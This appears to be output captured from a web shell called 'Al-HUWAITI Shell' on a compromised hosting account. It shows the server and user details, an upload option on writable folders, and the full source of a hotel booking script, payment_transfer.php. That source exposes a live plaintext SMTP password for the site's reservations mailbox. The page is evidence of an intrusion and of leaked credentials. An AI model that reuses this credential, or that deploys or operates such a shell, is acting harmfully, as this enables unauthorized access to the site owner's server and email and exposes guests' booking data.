Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/u615232177/domains/debutlers.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u615232177/domains/debutlers.com/public_html/payment_transfer.php
<?php require __DIR__ . '/vendor/autoload.php';

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;
use PHPMailer\PHPMailer\SMTP; 
session_start();
$page_name = basename($_SERVER['PHP_SELF']); 
include("minks.php"); ?>
<title><?php echo $company_name; ?> - Booking</title>
<?php 
$msg='';$captcha_error=""; $errors=0;
if (isset($_POST["pay"])) {
	
if($errors == 0){
	
	$name = mysqli_real_escape_string($con,$_POST['name']);
	$email = mysqli_real_escape_string($con,$_POST['email']);
	$phone = mysqli_real_escape_string($con,$_POST['phone']);
	$room = mysqli_real_escape_string($con,$_POST['room']);
	$check_in_raw = mysqli_real_escape_string($con,$_POST['check_in']);
	$check_out_raw = mysqli_real_escape_string($con,$_POST['check_out']);
	$fine_date = mysqli_real_escape_string($con,$_POST['fine_date']);
	$amount = mysqli_real_escape_string($con,$_POST['amount']);
	$header = mysqli_real_escape_string($con,$_POST['header']);

	//convert date to Y-mm-dd
	$DateTime = new DateTime($check_in_raw);
	$check_in = $DateTime->format('Y-m-d'); 

	$DateTime1 = new DateTime($check_out_raw);
	$check_out = $DateTime1->format('Y-m-d');
	
	//get array of dates to see if anyone has booked them
	$period = new DatePeriod(
		new DateTime("$check_in"),
		new DateInterval('P1D'),
		new DateTime("$check_out")
	);

	//DatePeriod actually returns an object so create a new array from $period
	// also create the 2 other arrays, one for dates from db the other to show user if date is unavailable.
	$arr_chosen=[];
	$arr_db=[];
	$unavailable_dates=[];
	foreach ($period as $key => $value) {
		array_push($arr_chosen,$value->format('Y-m-d'));
	}
	//number of days, not sure we even need it
	$no_days = count($arr_chosen);
	if($no_days > 13){$discount = 12;$discount_text="Regular Discount";}
	elseif($no_days > 29){$discount = 15;$discount_text="Super Discount";}
	else{$discount = 10;$discount_text="Loyal Discount";}


	//check database and get dates from this room that have been approved.
	$yes = "Yes";
	$stmt_reser = $con -> prepare('SELECT check_in,check_out FROM reservations WHERE room=? AND approved = ?');
	$stmt_reser -> bind_param('ss',$room,$yes);
	$stmt_reser -> execute(); 
	$stmt_reser -> store_result(); 
	$stmt_reser -> bind_result($check_in_db,$check_out_db); 
	$numrows_reser = $stmt_reser -> num_rows();
	/*
	if($numrows_reser > 0){
		while ($stmt_reser -> fetch()) {
				//get array of dates from db
				$period_db = new DatePeriod(
					new DateTime("$check_in_db"),
					new DateInterval('P1D'),
					new DateTime("$check_out_db")
				);
				
				//its actually an object, so create a new array from period_db
				foreach ($period_db as $key_db => $value_db) {
					array_push($arr_db,$value_db->format('Y-m-d'));
				}
				//check to see if there are any dates in common
				$clashing_dates = array_intersect($arr_chosen,$arr_db);
				if(count($clashing_dates) > 0){
					foreach ($clashing_dates as $key_db1 => $value_db1) {
						array_push($unavailable_dates,$value_db1);     
					}
					$unavailable_dates_string = implode(" ",$unavailable_dates);
					$_SESSION["action"] = "true";
					$message="$unavailable_dates_string already booked.";
					echo "<meta http-equiv=\"refresh\" content=\"0; url=failure.php?u=index.php&m=$message\">";
					exit();
				}
		}
	}
	*/

	$db_id=0;
	$reservation_id = substr(md5(rand()), 0, 6);
	$approved="Pending";
	$remarks="";
	$stmt = $con -> prepare('INSERT INTO reservations VALUES (?,?,?,?,?,?,?,?,?,?,?,?)');
		$stmt -> bind_param('isssssssssss', $db_id,$reservation_id,$name,$email,$phone,$room,$check_in,$check_out,$fine_date,$approved,$amount,$remarks);
		$stmt -> execute();

	$subject="Reservation from $name";
	$message1="
	Reservation ID - $reservation_id<br/>
	Name - $name<br/>
	Email - $email<br/>
	Phone - $phone<br/>
	Room - $header<br/>
	Date - $check_in<br/>
	Date - $check_out<br/>
	<br/>
	
	Reservation made on $fine_date
	";
	
	$msg = '';

	$mail = new PHPMailer();

	$mail->IsSMTP(); // telling the class to use SMTP
	$mail->SMTPAuth = true; // enable SMTP authentication
	$mail->Host = "smtp.titan.email"; // sets the SMTP server
	$mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; // Set encryption to STARTTLS
  	$mail->Port = 587; // Use port 587 for TLS
	$mail->Username = "reservations@debutlers.com"; // SMTP account username
	$mail->Password = "Butlers@55"; // SMTP account password

	$mail->SetFrom("reservations@debutlers.com", "$company_name");//Use a fixed address in your own domain as the from address
	$mail->AddReplyTo("$email","$email"); //Put the submitter's address in a reply-to header
	$mail->Subject = "$subject";
	$mail->MsgHTML("<html><body>$message1</body></html>");
	$mail->AddAddress("reservations@debutlers.com", "Reservations");//Send the message to yourself, or whoever should receive contact for submissions
	//$mail->SMTPDebug = SMTP::DEBUG_CONNECTION;
	//$mail->AddAttachment(""); // attachment

		if(!$mail->Send()) {
		//echo "Mailer Error: " . $mail->ErrorInfo;
		$msg = "Email not sent, please try again Mailer Error: ".$mail->ErrorInfo;
		} 
		else {
			$_SESSION["action"] = "true";
			$message="Thanks for your reservation.";
			echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=index.php&m=$message\">";
			exit();
		}
		
		//email an autoresponse to the person too
	$mail->clearAddresses();
	$mail->clearReplyTos();
	
		$subject1 = "$name thank you for your reservation"; // form field
		$message="";
		$email_topic="$name thanks for your reservation";
		$button_link="$link";
		$button_text="Go to Site";
		$motto="Hospitality at its Best";
		include("email_header.php");
		$message .=	"
		Dear $name,<br/><br/>
		Thank you for making a reservation with our Hotel. Your Reservation ID is <b>$reservation_id</b>.
		<br/><br/>
		The $company_name Team.<br/>
		$email_logo
		 ";
		 include("email_footer.php");
$mail->SetFrom("$reservations_email", "$company_name");//Use a fixed address in your own domain as the from add
$mail->AddAddress("$email", "$email");//Send the message to yourself, or whoever should receive contact for submissions
$mail->AddReplyTo("$reservations_email", "$company_name"); //Put the submitter's address in a reply-to header
$mail->Subject = "$subject1";
$mail->MsgHTML("<html><body>$message<br></body></html>");
	if(!$mail->Send()) {
	//echo "Mailer Error: " . $mail->ErrorInfo;
	$msg = "Email not sent, please try again Mailer Error: ".$mail->ErrorInfo;
	

	} 
	else {
	//echo "Thanks for getting in touch, we will get back to ASAP";
	$msg = "<span style='color:steelblue;'>Thank you for your reservation, we will contact you shortly.</span>";
	/*
		$_SESSION["action"] = "true";
		$message="Thanks for your reservation.";
		echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=index.php&m=$message\">";
		exit();
		*/
	}
	
	
		
		$_SESSION["action"] = "true";
		$message="Thanks for your reservation.";
		echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=index.php&m=$message\">";
		exit();
		
}
}
else{echo "<meta http-equiv=\"refresh\" content=\"0; url=index.php\">";exit();}

echo"$msg";
?>

Al-HUWAITI Shell